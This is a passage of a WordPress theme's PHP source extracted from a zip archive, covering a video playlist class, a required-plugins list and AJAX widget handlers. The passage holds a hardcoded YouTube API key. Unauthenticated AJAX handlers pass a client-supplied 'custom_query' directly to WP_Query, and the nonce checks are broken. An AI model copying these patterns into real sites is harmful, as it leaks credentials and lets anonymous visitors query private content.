		 * @return string
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		public static function wrap_in_em( $string ) {
			return '<em>' . wp_kses_post( $string ) . '</em>';
		}

		/**
		 * Wrap an arbitrary string in <strong> tags. Meant to be used in combination with array_map().
		 *
		 * @param string $string Text to be wrapped.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		public static function wrap_in_strong( $string ) {
			return '<strong>' . wp_kses_post( $string ) . '</strong>';
		}

		/**
		 * Helper function: Validate a value as boolean
		 *
		 * @param mixed $value Arbitrary value.
		 *
		 * @return bool
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		public static function validate_bool( $value ) {
			if ( ! isset( self::$has_filters ) ) {
				self::$has_filters = extension_loaded( 'filter' );
			}

			if ( self::$has_filters ) {
				return filter_var( $value, FILTER_VALIDATE_BOOLEAN );

			} else {
				return self::emulate_filter_bool( $value );
			}
		}

		/**
		 * Helper function: Cast a value to bool
		 *
		 * @param mixed $value Value to cast.
		 *
		 * @return bool
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		protected static function emulate_filter_bool( $value ) {

			static $true = array(
				'1',
				'true',
				'True',
				'TRUE',
				'y',
				'Y',
				'yes',
				'Yes',
				'YES',
				'on',
				'On',
				'ON',
			);
			static $false = array(
				'0',
				'false',
				'False',
				'FALSE',
				'n',
				'N',
				'no',
				'No',
				'NO',
				'off',
				'Off',
				'OFF',
			);

			if ( is_bool( $value ) ) {
				return $value;

			} else if ( is_int( $value ) && ( 0 === $value || 1 === $value ) ) {
				return (bool) $value;

			} else if ( ( is_float( $value ) && ! is_nan( $value ) ) && ( (float) 0 === $value || (float) 1 === $value ) ) {
				return (bool) $value;

			} else if ( is_string( $value ) ) {

				$value = trim( $value );
				if ( in_array( $value, $true, true ) ) {
					return true;

				} else if ( in_array( $value, $false, true ) ) {
					return false;

				} else {
					return false;
				}
			}

			return false;
		}

	} // End of class TGM_Utils

} // End of class_exists wrapper
PK     N\gc   c     inc/videos-playlist.phpnu [        <?php
/**
 * Video Playlist Class
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly


/*
-----------------------------------------------------------------------------------*/
// Get Youtube Video data
/*-----------------------------------------------------------------------------------*/
if ( ! class_exists( 'Penci_Video_List' ) ) {

	class Penci_Video_List {


		static $youtube_key      = 'AIzaSyAPRocQxSO9mFJE9sbLDXXk_xaS201r50c';
		static $youtube_api_base = 'https://www.googleapis.com/youtube/v3/videos';
		static $vimeo_api_base   = 'https://vimeo.com/api/v2/video/';


		public function __construct() {
			if ( is_admin() ) {
				add_action( 'wp_ajax_nopriv_penci_save_video_playlist', array( __CLASS__, 'save_video_playlist' ) );
				add_action( 'wp_ajax_penci_save_video_playlist', array( __CLASS__, 'save_video_playlist' ) );

				add_action( 'wp_ajax_nopriv_penci_remove_video_playlist', array( __CLASS__, 'remove_video_playlist' ) );
				add_action( 'wp_ajax_penci_remove_video_playlist', array( __CLASS__, 'remove_video_playlist' ) );
			}
		}

		public static function request_args() {
			return array(
				'headers' => array(
					'Referer' => get_home_url(),
				),
			);
		}

		/**
		 * Save Videos list
		 */
		public static function save_video_playlist() {

			if ( wp_verify_nonce( 'nonce', 'ajax-nonce' ) && current_user_can( 'edit_posts' ) ) {

				$videos       = isset( $_POST['videoList'] ) ? $_POST['videoList'] : '';
				$shortcode_id = isset( $_POST['shortcodeId'] ) ? $_POST['shortcodeId'] : '';

				$video_infos = self::get_video_infos( $videos );

				$option_video = get_option( 'penci-shortcode-playlist-' . $shortcode_id );

				if ( $option_video != $video_infos ) {
					update_option( 'penci-shortcode-playlist-' . $shortcode_id, $video_infos );
				}

				wp_send_json_success();
			}
		}

		/**
		 * Remove Videos list
		 */
		public static function remove_video_playlist() {

			if ( wp_verify_nonce( 'nonce', 'ajax-nonce' ) && current_user_can( 'edit_posts' ) ) {

				$shortcode_id = isset( $_POST['shortcodeId'] ) ? $_POST['shortcodeId'] : '';

				delete_option( 'penci-shortcode-playlist-' . $shortcode_id );

				wp_send_json_success( 'penci-shortcode-playlist-' . $shortcode_id );
			}
		}


		public static function get_video_infos( $videos ) {
			$videos_list = array();
			if ( empty( $videos ) ) {
				return $videos_list;
			}

			$videos_data = self::get_video_info( $videos );

			if ( empty( $videos_data ) ) {
				return $videos_list;
			}

			$youtube_thumb_base  = 'https://i.ytimg.com/vi/';
			$youtube_player_base = 'https://www.youtube.com/embed/';
			$vimeo_thumb_base    = 'https://i.vimeocdn.com/video/';
			$vimeo_player_base   = 'https://player.vimeo.com/video/';

			foreach ( $videos_data as $video ) {

				if ( empty( $video['id'] ) ) {
					continue;
				}

				if ( 'youtube' == $video['type'] ) {
					$video['thumb'] = $youtube_thumb_base . $video['id'] . '/default.jpg';
					$video['id']    = $youtube_player_base . $video['id'] . '?enablejsapi=1&amp;rel=0&amp;showinfo=0';
				} elseif ( $video['type'] == 'vimeo' ) {
					$video['thumb'] = $vimeo_thumb_base . $video['thumb'];
					$video['id']    = $vimeo_player_base . $video['id'] . '?api=1&amp;title=0&amp;byline=0';
				}

				$videos_list[] = $video;
			}

			return $videos_list;
		}

		/**
		 * Get Videos List data
		 *
		 * @param $videos_list
		 *
		 * @return array
		 */
		public static function get_video_info( $videos_list ) {

			$videos_list = array_filter( $videos_list );
			$videos_ids  = array();

			foreach ( $videos_list as $video ) {
				// Youtube
				if ( preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $video, $matches ) ) {

					$video_id = preg_replace( '/\s+/', '', $matches[0] );

					$videos_ids[] = self::get_youtube_info( $video_id );
				} // Vimeo
				elseif ( preg_match( '/(https?:\/\/)?(www\.)?(player\.)?vimeo\.com\/([a-z]*\/)*([0-9]{6,11})[?]?.*/', $video, $matches ) ) {
					$video_id     = preg_replace( '/\s+/', '', $matches[5] );
					$videos_ids[] = self::get_vimeo_info( $video_id );
				}
			}

			return $videos_ids;
		}


		/**
		 * Get Youtube Video data
		 *
		 * @param $vid
		 *
		 * @return null
		 */
		private static function get_youtube_info( $video_id ) {
			$video = array();
			// Build the Api request

			$key = get_theme_mod( 'penci_youtube_api_key' ) ? get_theme_mod( 'penci_youtube_api_key' ) : self::$youtube_key;

			$params = array(
				'part' => 'snippet,contentDetails',
				'id'   => $video_id,
				'key'  => $key,
			);

			$api_url = self::$youtube_api_base . '?' . http_build_query( $params );

			$request = wp_remote_get( $api_url, self::request_args() );

			// Check if there are errors
			if ( is_wp_error( $request ) ) {
				return null;
			}

			// Prepare the data
			$result = json_decode( wp_remote_retrieve_body( $request ), true );

			// Check if the video title is exists
			if ( empty( $result['items'][0]['snippet']['title'] ) ) {
				return null;
			}

			// Prepare the Video duration
			$video_info = $result['items'][0]['contentDetails'];

			if ( ! empty( $video_info['duration'] ) ) {
				$interval          = new DateInterval( $video_info['duration'] );
				$duration_sec      = $interval->h * 3600 + $interval->i * 60 + $interval->s;
				$time_format       = ( $duration_sec >= 3600 ) ? 'H:i:s' : 'i:s';
				$video['duration'] = gmdate( $time_format, $duration_sec );
			}

			// Video data
			$video['title'] = $result['items'][0]['snippet']['title'];
			$video['id']    = $video_id;
			$video['type']  = 'youtube';

			return $video;
		}

		/**
		 * Get Vimeo Video data
		 *
		 * @param $vid
		 *
		 * @return null
		 */
		private static function get_vimeo_info( $video_id ) {

			$video = array();
			// Build the Api request
			$api_url = self::$vimeo_api_base . $video_id . '.json';
			$request = wp_remote_get( $api_url, self::request_args() );

			// Check if there is no any errors
			if ( is_wp_error( $request ) ) {
				return null;
			}

			// Prepare the data
			$result = json_decode( wp_remote_retrieve_body( $request ), true );

			// Check if the video title is exists -
			if ( empty( $result[0]['title'] ) ) {
				return null;
			}

			// Prepare the Video duration
			if ( ! empty( $result[0]['duration'] ) ) {

				$duration_sec      = $result[0]['duration'];
				$time_format       = ( $duration_sec >= 3600 ) ? 'H:i:s' : 'i:s';
				$video['duration'] = gmdate( $time_format, $duration_sec );
			}

			// Prepare the Video thumbnail
			if ( ! empty( $result[0]['thumbnail_small'] ) ) {
				$video_thumb    = @parse_url( $result[0]['thumbnail_small'] );
				$video_thumb    = str_replace( '/video/', '', $video_thumb['path'] );
				$video['thumb'] = $video_thumb;
			}

			// Video data
			$video['title'] = $result[0]['title'];
			$video['id']    = $video_id;
			$video['type']  = 'vimeo';

			return $video;
		}

		public static function get_playlist_videos_ids( $playlist_id, $limit ) {

			if ( $playlist_id && filter_var( $playlist_id, FILTER_VALIDATE_URL ) ) {
				$url = parse_url( $playlist_id );
				parse_str( $url['query'], $params );
				$playlist_id = isset( $params['list'] ) && $params['list'] ? $params['list'] : '';
			}

			if ( ! $playlist_id ) {
				return false;
			}

			$video_ids        = array();
			$youtube_base_url = 'https://www.youtube.com/watch?v=';

			$yt_api_key = get_theme_mod( 'penci_youtube_api_key' );

			$json_playlist_api_url      = 'https://www.googleapis.com/youtube/v3/playlistItems?part=id,snippet,contentDetails,status&maxResults=' . $limit . '&playlistId=' . $playlist_id . '&key=' . $yt_api_key;
			$json_playlist_api_response = json_decode( wp_remote_retrieve_body( wp_remote_get( $json_playlist_api_url, self::request_args() ) ), true );

			if ( isset( $json_playlist_api_response['items'] ) && ! empty( $json_playlist_api_response['items'] ) && is_array( $json_playlist_api_response['items'] ) ) {
				foreach ( $json_playlist_api_response['items'] as $video_item ) {
					$video_ids[] = $youtube_base_url . $video_item['contentDetails']['videoId'];
				}
			}

			if ( ! empty( $video_ids ) ) {
				return self::get_video_infos( $video_ids );
			}

			return false;
		}
	}
}


new Penci_Video_List();
PK     N\KUG  G    inc/plugins.phpnu [        <?php
/**
 * Include the TGM_Plugin_Activation class.
 */

require_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/class-tgm-plugin-activation.php';

add_action( 'tgmpa_register', 'penci_register_required_plugins' );
if ( ! function_exists( 'penci_register_required_plugins' ) ) {
	function penci_register_required_plugins() {
		$link_server = apply_filters( 'penci_plugins_server', 'https://s3.amazonaws.com/soledad-plugins/' );
		$plugins = array(
			array(
				'name'     => 'Penci Shortcodes & Performance',
				'slug'     => 'penci-shortcodes',
				'source'   => $link_server . 'penci-shortcodes.zip',
				'required' => true,
				'version'  => '5.9',
			),
			array(
				'name'     => 'Penci Text To Speech',
				'slug'     => 'penci-text-to-speech',
				'optional' => true,
				'source'   => $link_server . 'penci-text-to-speech.zip',
				'required' => false,
				'version'  => '1.6',
			),
			array(
				'name'     => 'Vafpress Post Formats UI',
				'slug'     => 'vafpress-post-formats-ui-develop',
				'source'   => $link_server . 'vafpress-post-formats-ui-develop.zip',
				'required' => false,
				'version'  => '1.8',
			),
			array(
				'name'     => 'Elementor Page Builder',
				'slug'     => 'elementor',
				'required' => true,
				'version'  => '',
			),
			array(
				'name'     => 'Penci Slider',
				'slug'     => 'penci-soledad-slider',
				'source'   => $link_server . 'penci-soledad-slider.zip',
				'optional' => true,
				'required' => false,
				'version'  => '1.1',
			),
			array(
				'name'     => 'Penci Portfolio',
				'slug'     => 'penci-portfolio',
				'source'   => $link_server . 'penci-portfolio.zip',
				'required' => false,
				'version'  => '3.5',
			),
			array(
				'name'     => 'Penci Recipe',
				'slug'     => 'penci-recipe',
				'source'   => $link_server . 'penci-recipe.zip',
				'required' => false,
				'version'  => '4.0',
			),
			array(
				'name'     => 'Penci Review',
				'slug'     => 'penci-review',
				'source'   => $link_server . 'penci-review.zip',
				'required' => false,
				'version'  => '3.5',
			),
			array(
				'name'     => 'Penci Soledad Demo Importer',
				'slug'     => 'penci-soledad-demo-importer',
				'source'   => $link_server . 'penci-soledad-demo-importer.zip',
				'required' => false,
				'version'  => '5.5',
			),
			array(
				'name'     => 'Penci Soledad Data Migrator',
				'optional' => true,
				'slug'     => 'penci-data-migrator',
				'source'   => $link_server . 'penci-data-migrator.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Social Feed',
				'optional' => true,
				'slug'     => 'penci-tiktok-twitter-feed',
				'source'   => $link_server . 'penci-tiktok-twitter-feed.zip',
				'required' => false,
				'version'  => '1.1',
			),
			array(
				'name'     => 'Penci Frontend Submission',
				'optional' => true,
				'slug'     => 'penci-frontend-submission',
				'source'   => $link_server . 'penci-frontend-submission.zip',
				'required' => false,
				'version'  => '1.7',
			),
			array(
				'name'     => 'Penci Paywall',
				'optional' => true,
				'slug'     => 'penci-paywall',
				'source'   => $link_server . 'penci-paywall.zip',
				'required' => false,
				'version'  => '2.3',
			),
			array(
				'name'     => 'Penci Pay Writer',
				'optional' => true,
				'slug'     => 'penci-pay-writer',
				'source'   => $link_server . 'penci-pay-writer.zip',
				'required' => false,
				'version'  => '1.4',
			),
			array(
				'name'     => 'Penci RSS Aggregator',
				'optional' => true,
				'slug'     => 'penci-feeds',
				'source'   => $link_server . 'penci-feeds.zip',
				'required' => false,
				'version'  => '1.3',
			),
			array(
				'name'     => 'Penci Podcast',
				'optional' => true,
				'slug'     => 'penci-podcast',
				'source'   => $link_server . 'penci-podcast.zip',
				'required' => false,
				'version'  => '1.4',
			),
			array(
				'name'     => 'Penci AI SmartContent Creator',
				'optional' => true,
				'slug'     => 'penci-ai',
				'source'   => $link_server . 'penci-ai.zip',
				'required' => false,
				'version'  => '1.9',
			),
			array(
				'name'     => 'Penci Bookmark & Follow',
				'optional' => true,
				'slug'     => 'penci-bookmark-follow',
				'source'   => $link_server . 'penci-bookmark-follow.zip',
				'required' => false,
				'version'  => '2.0',
			),
			array(
				'name'     => 'Penci Finance',
				'optional' => true,
				'slug'     => 'penci-finance',
				'source'   => $link_server . 'penci-finance.zip',
				'required' => false,
				'version'  => '1.4',
			),
			array(
				'name'     => 'Penci Sport',
				'optional' => true,
				'slug'     => 'penci-sport',
				'source'   => $link_server . 'penci-sport.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Smart Crop Thumbnails',
				'optional' => true,
				'slug'     => 'penci-smart-crop-thumbnails',
				'source'   => $link_server . 'penci-smart-crop-thumbnails.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Live Blog',
				'optional' => true,
				'slug'     => 'penci-liveblog',
				'source'   => $link_server . 'penci-liveblog.zip',
				'required' => false,
				'version'  => '1.3',
			),
			array(
				'name'     => 'Penci Google Analytics Views',
				'optional' => true,
				'slug'     => 'penci-ga-views',
				'source'   => $link_server . 'penci-ga-views.zip',
				'required' => false,
				'version'  => '1.1',
			),
			array(
				'name'     => 'Penci Mobile Templates',
				'optional' => true,
				'slug'     => 'penci-mobile-templates',
				'source'   => $link_server . 'penci-mobile-templates.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Filter Everything',
				'optional' => true,
				'slug'     => 'penci-filter-everything',
				'source'   => $link_server . 'penci-filter-everything.zip',
				'required' => false,
				'version'  => '1.5',
			),
			array(
				'name'     => 'Penci Player Rankings',
				'optional' => true,
				'slug'     => 'penci-player-rankings',
				'source'   => $link_server . 'penci-players-rankings.zip',
				'required' => false,
				'version'  => '1.0',
			),
			array(
				'name'     => 'Contact Form 7',
				'slug'     => 'contact-form-7',
				'required' => false,
				'version'  => '',
			),
			array(
				'name'     => 'MailChimp for WordPress',
				'slug'     => 'mailchimp-for-wp',
				'required' => false,
				'version'  => '',
			),
			array(
				'name'     => 'Penci Soledad AMP',
				'optional' => true,
				'slug'     => 'penci-soledad-amp',
				'source'   => $link_server . 'penci-soledad-amp.zip',
				'required' => false,
				'version'  => '5.3',
			),
			array(
				'name'     => 'HubSpot - All-in-One Marketing',
				'slug'     => 'leadin',
				'required' => false,
				'version'  => '',
			),
		);
		$config  = array(
			'id'           => 'tgmpa',
			'default_path' => '',
			'menu'         => 'tgmpa-install-plugins',
			'parent_slug'  => 'themes.php',
			'capability'   => 'edit_theme_options',
			'has_notices'  => true,
			'dismissable'  => true,
			'dismiss_msg'  => '',
			'is_automatic' => true,
			'message'      => '',
		);

		tgmpa( $plugins, $config );
	}
}PK     N\~K       inc/widgets-ajax.phpnu [        <?php
add_action( 'wp_ajax_nopriv_penci_stylisted_articles_count_ajax', 'penci_stylisted_articles_count_ajax' );
add_action( 'wp_ajax_penci_stylisted_articles_count_ajax', 'penci_stylisted_articles_count_ajax' );
function penci_stylisted_articles_count_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	/* Our variables from the widget settings. */
	$instance   = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance   = json_decode( $instance, true );
	$paged      = $_POST['paged'];
	$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
	$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
	$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
	$number     = isset( $instance['number'] ) ? $instance['number'] : '';
	$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
	$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
	if ( ! $ptype ): $ptype = 'post'; endif;
	$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
	$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
	$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value = ( false == $sticky ) ? 0 : 1;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$columns      = isset( $instance['columns'] ) ? $instance['columns'] : '';
	$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
	$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();

	$thumb = 'penci-thumb-masonry';

	if ( $image_type == 'horizontal' ) {
		$thumb = 'penci-thumb-small';
	} elseif ( $image_type == 'square' ) {
		$thumb = 'penci-thumb-square';
	} elseif ( $image_type == 'vertical' ) {
		$thumb = 'penci-thumb-vertical';
	}

	if ( isset( $instance['custom_query'] ) && $instance['custom_query'] ) {
		$query  = $instance['custom_query'];
		$number = $query['posts_per_page'];
	} else {
		$query = array(
			'posts_per_page'      => $number,
			'post_type'           => $ptype,
			'ignore_sticky_posts' => $sticky_value
		);


		if ( isset( $instance['cats_id'] ) ) {
			if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
				$query['category__in'] = $cats_id;
			}
		} else {
			$term_name = get_cat_name( $categories );
			$term      = term_exists( $term_name, 'category' );

			if ( $term !== 0 && $term !== null ) {
				$query['cat'] = $categories;
			}
		}

		if ( ! empty( $tags_id ) ) {
			if ( ! in_array( 'all', $tags_id ) ) {
				$query['tag__in'] = $tags_id;
			}
		}

		if ( $orderby == 'week' ) {
			$query['meta_key'] = 'penci_post_week_views_count';
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby == 'month' ) {
			$query['meta_key'] = 'penci_post_month_views_count';
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby == 'jetpack' ) {
			$query['meta_key'] = '_jetpack_post_view';
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby == 'all' ) {
			$query['meta_key'] = penci_get_postviews_key();
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby ) {
			$query['orderby'] = $orderby;
		}

		if ( $order ) {
			$query['order'] = $order;
		}


		if ( $taxonomy && ( 'post' != $ptype ) ) {
			$taxonomy  = str_replace( ' ', '', $taxonomy );
			$tax_array = explode( ',', $taxonomy );

			foreach ( $tax_array as $tax ) {
				$tax_ids_array = array();
				if ( $tax_ids ) {
					$tax_ids       = str_replace( ' ', '', $tax_ids );
					$tax_ids_array = explode( ',', $tax_ids );
				} else {
					$get_all_terms = get_terms( $tax );
					if ( ! empty( $get_all_terms ) ) {
						foreach ( $get_all_terms as $term ) {
							$tax_ids_array[] = $term->term_id;
						}
					}
				}

				if ( ! empty( $tax_ids_array ) ) {
					$query['tax_query'][] = array(
						'taxonomy' => $tax,
						'field'    => 'term_id',
						'terms'    => $tax_ids_array
					);
				}
			}
		}

	}

	if ( $paged ) {
		$query['paged'] = $paged;
	}

	if ( $offset ) {
		$query['offset'] = $offset;
	}


	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :
		get_template_part( 'inc/templates/popular_posts', '', [
			'loop'         => $loop,
			'class'        => 'demo',
			'showauthor'   => $showauthor,
			'postdate'     => $postdate,
			'showviews'    => $showviews,
			'showcomment'  => $showcomment,
			'title_length' => $title_length,
			'thumb'        => $thumb,
			'columns'      => $columns,
			'id'           => '',
			'data_attr'    => '',
			'paged'        => $paged,
		] );
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_latest_news_widget_ajax', 'penci_latest_news_widget_ajax' );
add_action( 'wp_ajax_penci_latest_news_widget_ajax', 'penci_latest_news_widget_ajax' );
function penci_latest_news_widget_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	/* Our variables from the widget settings. */
	$instance   = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance   = json_decode( $instance, true );
	$paged      = $_POST['paged'];
	$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
	$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
	$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
	$number     = isset( $instance['number'] ) ? $instance['number'] : '';
	$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
	$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
	if ( ! $ptype ): $ptype = 'post'; endif;
	$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
	$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
	$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value = ( false == $sticky ) ? 0 : 1;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
	$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
	$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
	$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
	$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
	$alt_style    = ! empty( $instance['altstyle'] ) ? $instance['altstyle'] : false;

	if ( isset( $instance['custom_query'] ) && $instance['custom_query'] ) {
		$query  = $instance['custom_query'];
		$number = $query['posts_per_page'];
	} else {
		$query = array(
			'posts_per_page'      => $number,
			'post_type'           => $ptype,
			'ignore_sticky_posts' => $sticky_value
		);


		if ( isset( $instance['cats_id'] ) ) {
			if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
				$query['category__in'] = $cats_id;
			}
		} else {
			$term_name = get_cat_name( $categories );
			$term      = term_exists( $term_name, 'category' );

			if ( $term !== 0 && $term !== null ) {
				$query['cat'] = $categories;
			}
		}

		if ( ! empty( $tags_id ) ) {
			if ( ! in_array( 'all', $tags_id ) ) {
				$query['tag__in'] = $tags_id;
			}
		}

		if ( $orderby ) {
			$query['orderby'] = $orderby;
		}
		if ( $order ) {
			$query['order'] = $order;
		}
		if ( $offset ) {
			$query['offset'] = $offset;
		}

		if ( $taxonomy && ( 'post' != $ptype ) ) {
			$taxonomy  = str_replace( ' ', '', $taxonomy );
			$tax_array = explode( ',', $taxonomy );

			foreach ( $tax_array as $tax ) {
				$tax_ids_array = array();
				if ( $tax_ids ) {
					$tax_ids       = str_replace( ' ', '', $tax_ids );
					$tax_ids_array = explode( ',', $tax_ids );
				} else {
					$get_all_terms = get_terms( $tax );
					if ( ! empty( $get_all_terms ) ) {
						foreach ( $get_all_terms as $term ) {
							$tax_ids_array[] = $term->term_id;
						}
					}
				}

				if ( ! empty( $tax_ids_array ) ) {
					$query['tax_query'][] = array(
						'taxonomy' => $tax,
						'field'    => 'term_id',
						'terms'    => $tax_ids_array
					);
				}
			}
		}

	}

	if ( $paged ) {
		$query['paged'] = $paged;
	}


	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :

		?>
        <ul class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
			if ( $featured ) {
				echo ' penci-2columns-featured';
			} else {
				echo ' penci-2columns-feed';
			} endif;
		if ( $showborder ) {
			echo ' penci-rcpw-hborders';
		}
		if ( $dotstyle ) {
			echo ' pctlst pctl-' . $dotstyle;
		} ?>">
			<?php $num = 1;
			while ( $loop->have_posts() ) : $loop->the_post(); ?>
                <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
					if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
					<?php if ( $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                        <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num + ( ( $paged - 1 ) * $number ) ); ?></span>
								</span>
					<?php endif; ?>
                    <div class="side-item">
						<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                            <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
								<?php
								$size_pie = 'small';
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
								do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
								/* Display Review Piechart  */
								if ( function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), $size_pie );
								}
								$thumb = penci_featured_images_size( 'small' );
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
								if ( $image_type == 'horizontal' ) {
									$thumb = 'penci-thumb-small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
								} elseif ( $image_type == 'square' ) {
									$thumb = 'penci-thumb-square';
								} elseif ( $image_type == 'vertical' ) {
									$thumb = 'penci-thumb-vertical';
								}
								?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
									echo '';
								} else {
									echo ' small-fix-size';
								} ?>" rel="bookmark"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                </a>


								<?php if ( $icon ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="side-item-text">
							<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
